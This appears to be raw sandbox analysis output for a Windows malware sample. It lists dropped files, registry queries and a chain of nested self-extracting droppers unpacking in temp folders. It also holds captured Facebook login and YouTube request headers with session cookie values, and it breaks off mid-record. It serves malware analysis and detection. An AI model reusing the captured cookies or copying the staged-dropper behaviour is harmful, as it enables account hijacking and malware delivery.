[%APPDATA%\Microsoft\Windows\Cookies\VTPE7UTS.txt]- [targetUID: 00000000-00001864] "8VBFVTSW.htm" has type "gzip compressed data original size modulo 2^32 338"- Location: [%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\37NU00GP\8VBFVTSW.htm]- [targetUID: 00000000-00001864] "AA8CZF0M.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\AA8CZF0M.txt]- [targetUID: 00000000-00001864] "XIG6YNFL.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\XIG6YNFL.txt]- [targetUID: 00000000-00001864] "M38HY4BK.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\M38HY4BK.txt]- [targetUID: 00000000-00001864] "I887FTWT.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\I887FTWT.txt]- [targetUID: 00000000-00001864] "DVT8JF4U.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\DVT8JF4U.txt]- [targetUID: 00000000-00002356] "XGKB87TS.txt" has type "ASCII text"- [targetUID: N/A] "LKZK48R5.txt" has type "ASCII text"- [targetUID: N/A] "62ERQPWQ.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\62ERQPWQ.txt]- [targetUID: 00000000-00002356] "CZKCWZ7Q.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\CZKCWZ7Q.txt]- [targetUID: 00000000-00001864] "L5B3CME0.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\L5B3CME0.txt]- [targetUID: 00000000-00001864] "Y5ZGEM4A.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\Y5ZGEM4A.txt]- [targetUID: 00000000-00001864] "J80RIOU8.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\J80RIOU8.txt]- [targetUID: 00000000-00001864] "AXPYVF77.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\AXPYVF77.txt]- [targetUID: 00000000-00000176] "I191IHB8.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\I191IHB8.txt]- [targetUID: 00000000-00000176] "1G1F0APL.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\1G1F0APL.txt]- [targetUID: 00000000-00001864] "O7nelmd9XSI_1_.png" has type "PNG image data 1 x 1 1-bit colormap non-interlaced"- [targetUID: N/A] "MF3G64AH.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\MF3G64AH.txt]- [targetUID: 00000000-00000176] "K02G6FSJ.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\K02G6FSJ.txt]- [targetUID: 00000000-00002356] "E3S4PDK8.txt" has type "ASCII text"- [targetUID: N/A] "YBSLMFB7.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\YBSLMFB7.txt]- [targetUID: 00000000-00002356] "hsts-pixel_1_.gif" has type "GIF image data version 89a 1 x 1"- [targetUID: N/A] "bscframe_1_.htm" has type "HTML document ASCII text with no line terminators"- [targetUID: N/A] "explothe.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\fefffe8cea\explothe.exe]- [targetUID: 00000000-00003116] "clip_1_.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "Tar47F4.tmp" has type "data"- Location: [%TEMP%\Tar47F4.tmp]- [targetUID: 00000000-00001756] "Cab47E3.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- Location: [%TEMP%\Cab47E3.tmp]- [targetUID: 00000000-00001756] "Cab498B.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- [targetUID: N/A] "BEC6224B02D155A396218A2504F3EE0B" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\BEC6224B02D155A396218A2504F3EE0B]- [targetUID: 00000000-00002356] "favicon_2_.ico" has type "MS Windows icon resource - 1 icon 32x32 32 bits/pixel"- [targetUID: N/A] "search__0633EE93-D776-472f-A0FF-E1416B8B2E3A_.ico" has type "MS Windows icon resource - 1 icon 32x32 32 bits/pixel"- [targetUID: N/A] "favicon_4_.ico" has type "MS Windows icon resource - 1 icon 32x32 32 bits/pixel"- [targetUID: N/A] "8A7891822FCFF127E4EADADE9757112B" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\8A7891822FCFF127E4EADADE9757112B]- [targetUID: 00000000-00000176] "6DB145CFEEC544B1582FED1ADA3370DD" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\6DB145CFEEC544B1582FED1ADA3370DD]- [targetUID: 00000000-00001756] "MIGAT7ZH.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\MIGAT7ZH.txt]- [targetUID: 00000000-00002356]51:T71b,"file.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE\ASSEMBLYSTORAGEROOTS"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM"; Key: ""; Value: "")52:T487,"file.exe" queries basic process information of the "C:\Windows\System32\advpack.dll" (UID: 2448) "file.exe" queries basic process information of the "C:\Users\HAPUBWS\AppData\Local\Temp" (UID: 2448) "Vo8ml85.exe" queries basic process information of the "C:\Windows\System32\advpack.dll" (UID: 2464) "Vo8ml85.exe" queries basic process information of the "C:\Users\HAPUBWS\AppData\Local\Temp" (UID: 2464) "aM0RY76.exe" queries basic process information of the "C:\Windows\System32\advpack.dll" (UID: 3844) "aM0RY76.exe" queries basic process information of the "C:\Users\HAPUBWS\AppData\Local\Temp" (UID: 3844) "kx3Tv79.exe" queries basic process information of the "C:\Users\HAPUBWS\AppData\Local\Temp" (UID: 3636) "kx3Tv79.exe" queries basic process information of the "C:\Windows\System32\advpack.dll" (UID: 3636) "FM0nA02.exe" queries basic process information of the "C:\Users\HAPUBWS\AppData\Local\Temp" (UID: 3964) "FM0nA02.exe" queries basic process information of the "C:\Windows\System32\advpack.dll" (UID: 3964) "1BC12Pi1.exe" queries basic process information of the "C:\Windows\System32\en-US\KernelBase.dll.mui" (UID: 1536)53:Tafe,"file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "CWDILLEGALINDLLSEARCH"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "COMPATDLL"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "00060101.00060101"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "FILE"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\WINDOWS ERROR REPORTING\WMR"; Key: "DISABLE"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SETUP"; Key: "SOURCEPATH"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION"; Key: "DEVICEPATH"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\DATACOLLECTION"; Key: "COMMERCIALDATAOPTIN"; Value: "")54:T699,"file.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp000.tmp\vo8ml85.exe" "file.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp000.tmp\6he6ue0.exe" "Vo8ml85.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp001.tmp\am0ry76.exe" "Vo8ml85.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp001.tmp\5va7se4.exe" "aM0RY76.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp002.tmp\kx3tv79.exe" "aM0RY76.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp002.tmp\4nl947ei.exe" "kx3Tv79.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp003.tmp\fm0na02.exe" "kx3Tv79.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp003.tmp\3hh02er.exe" "FM0nA02.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp004.tmp\1bc12pi1.exe" "FM0nA02.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp004.tmp\2aq2815.exe" "1BC12Pi1.exe" reads file "c:\windows\microsoft.net\framework\v4.0.30319\config\machine.config" "1BC12Pi1.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll.aux" "1BC12Pi1.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system\2c3c912ea8f058f9d04c4650128feb3f\system.ni.dll.aux" "1BC12Pi1.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.drawing\f7568d7f1b9d356f64779b4c0927cfb3\system.drawing.ni.dll.aux" "1BC12Pi1.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.windows.forms\c9a4cbc00f690a9e3cddfc400f6e85bb\system.windows.forms.ni.dll.aux" "1BC12Pi1.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system\0b2f69b43a576b9edcc807a30872bd91\system.ni.dll.aux"55:T682,"file.exe" trying to touch file "C:\Windows\SYSTEM32\sechost.dll" "file.exe" trying to touch file "C:\file.exe.Local\" "file.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_41e855142bd5705d" "file.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_41e855142bd5705d\COMCTL32.dll" "file.exe" trying to touch file "C:\Cabinet.dll" "file.exe" trying to touch file "C:\Windows\system32\Cabinet.dll" "file.exe" trying to touch file "C:\VERSION.dll" "file.exe" trying to touch file "C:\Windows\system32\VERSION.dll" "file.exe" trying to touch file "C:\Windows\system32\apphelp.dll" "file.exe" trying to touch file "C:\Windows\AppPatch\sysmain.sdb" "file.exe" trying to touch file "C:\Windows\AppPatch\AcLayers.DLL" "file.exe" trying to touch file "C:\SspiCli.dll" "file.exe" trying to touch file "C:\Windows\system32\SspiCli.dll" "file.exe" trying to touch file "C:\WINSPOOL.DRV" "file.exe" trying to touch file "C:\Windows\system32\WINSPOOL.DRV" "file.exe" trying to touch file "C:\MPR.dll" "file.exe" trying to touch file "C:\Windows\system32\MPR.dll" "file.exe" trying to touch file "C:\Windows\AppPatch\AcGenral.DLL" "file.exe" trying to touch file "C:\UxTheme.dll" "file.exe" trying to touch file "C:\Windows\system32\UxTheme.dll" "file.exe" trying to touch file "C:\WINMM.dll" "file.exe" trying to touch file "C:\Windows\system32\WINMM.dll" "file.exe" trying to touch file "C:\samcli.dll" "file.exe" trying to touch file "C:\Windows\system32\samcli.dll" "file.exe" trying to touch file "C:\MSACM32.dll"56:T76b,"file.exe" trying to access non-existent file "C:\Cabinet.dll" "file.exe" trying to access non-existent file "C:\VERSION.dll" "file.exe" trying to access non-existent file "C:\SspiCli.dll" "file.exe" trying to access non-existent file "C:\MPR.dll" "file.exe" trying to access non-existent file "C:\UxTheme.dll" "file.exe" trying to access non-existent file "C:\WINMM.dll" "file.exe" trying to access non-existent file "C:\samcli.dll" "file.exe" trying to access non-existent file "C:\MSACM32.dll" "file.exe" trying to access non-existent file "C:\sfc.dll" "file.exe" trying to access non-existent file "C:\sfc_os.DLL" "file.exe" trying to access non-existent file "C:\dwmapi.dll" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\6hE6Ue0.exe" "file.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" "file.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\VO8ML85.EXE" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\FLTLIB.DLL" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\API-MS-WIN-CORE-FIBERS-L1-1-1.DLL" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\API-MS-WIN-CORE-LOCALIZATION-L1-2-1.DLL" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\CABINET.DLL" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\VERSION.DLL" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\SSPICLI.DLL" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\MPR.DLL" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\UXTHEME.DLL"57:T855,"file.exe" trying to access non-existent file "C:\file.exe.Local\" "file.exe" trying to access non-existent file "C:\WINSPOOL.DRV" "file.exe" trying to access non-existent file "C:\file.exe.Config" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\FILE.EXE.LOCAL" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\WINSPOOL.DRV" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\FILE.EXE.CONFIG" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" "Vo8ml85.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\Vo8ml85.exe.Local\" "Vo8ml85.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\WINSPOOL.DRV" "Vo8ml85.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\Vo8ml85.exe.Config" "Vo8ml85.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" "Vo8ml85.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\VO8ML85.EXE.LOCAL" "Vo8ml85.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\WINSPOOL.DRV" "Vo8ml85.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\VO8ML85.EXE.CONFIG" "Vo8ml85.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" "aM0RY76.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\WINSPOOL.DRV" "aM0RY76.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\aM0RY76.exe.Config" "aM0RY76.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP" "aM0RY76.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\AM0RY76.EXE.LOCAL"58:T2a35,Found requests in header "GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.facebook.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "POST /login/device-based/regular/login/?login_attempt=1&lwv=100 HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateHost: www.facebook.comContent-Length: 392DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: fr=0fO88iHKuO5oNKzTl..BlMypx.e8.AAA.0.0.BlMypx.AWVEr7ek7Z8; sb=cSozZauj9GASX4z0SI7GJJqp; _js_datr=cSozZecQgUoy4ULE1BnVdDBKjazoest=21007&lsd=AVoXMiQhmJk&display=&isprivate=&return_session=&skip_api_login=&signed_next=&trynum=1&timezone=&lgndim=eyJ3IjoxMDE0LCJoIjo2OTUsImF3IjoxMDE0LCJhaCI6NjU1LCJjIjoyNH0%3D&lgnrnd=183337_0OCc&lgnjs=n&email=&pass=&login=1&prefill_contact_point=&prefill_source=&prefill_type=&first_prefill_source=&first_prefill_type=&had_cp_prefilled=false&had_password_prefilled=false&ab_test_data="; in File: "SSL") Found requests in header "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba"; in File: "SSL") Found requests in header "GET /supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2F HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.youtube.comCookie: CONSENT=WP.2676baConnection: Keep-AliveDNT: 1"; in File: "SSL") Found requests in header "GET /img/desktop/supported_browsers/yt_logo_rgb_light.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; hideBrowserUpgradeBox=true; YSC=9Es8-HRMFWs; VISITOR_INFO1_LIVE=Qk5zLdzvfWQ; VISITOR_PRIVACY_METADATA=CgJVUxICGgA%3D"; in File: "SSL") Found requests in header "GET /img/desktop/supported_browsers/chrome.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; hideBrowserUpgradeBox=true; YSC=9Es8-HRMFWs; VISITOR_INFO1_LIVE=Qk5zLdzvfWQ; VISITOR_PRIVACY_METADATA=CgJVUxICGgA%3D"; in File: "SSL") Found requests in header "GET /img/desktop/supported_browsers/opera.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; hideBrowserUpgradeBox=true; YSC=9Es8-HRMFWs; VISITOR_INFO1_LIVE=Qk5zLdzvfWQ; VISITOR_PRIVACY_METADATA=CgJVUxICGgA%3D"; in File: "SSL") Found requests in header "GET /img/desktop/supported_browsers/dinosaur.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; hideBrowserUpgradeBox=true; YSC=9Es8-HRMFWs; VISITOR_INFO1_LIVE=Qk5zLdzvfWQ; VISITOR_PRIVACY_METADATA=CgJVUxICGgA%3D"; in File: "SSL") Found requests in header "GET /img/desktop/supported_browsers/edgium.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; hideBrowserUpgradeBox=true; YSC=9Es8-HRMFWs; VISITOR_INFO1_LIVE=Qk5zLdzvfWQ; VISITOR_PRIVACY_METADATA=CgJVUxICGgA%3D"; in File: "SSL") Found requests in header "GET /img/desktop/supported_browsers/firefox.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; hideBrowserUpgradeBox=true; YSC=9Es8-HRMFWs; VISITOR_INFO1_LIVE=Qk5zLdzvfWQ; VISITOR_PRIVACY_METADATA=CgJVUxICGgA%3D"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yy/l/0,cross/wYnUPpbC_DL.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yX/l/0,cross/fpMCwgcFvo4.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/y9/l/0,cross/2W2z89vRC58.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yx/l/0,cross/7O04Eyj-1fg.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/ya/l/0,cross/EQ0cyse2DGv.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/y8/r/RNFuSb7tdaZ.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/yI/r/4aAhOWlwaXf.svg HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yL/l/0,cross/GLMTwJKTA1g.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: 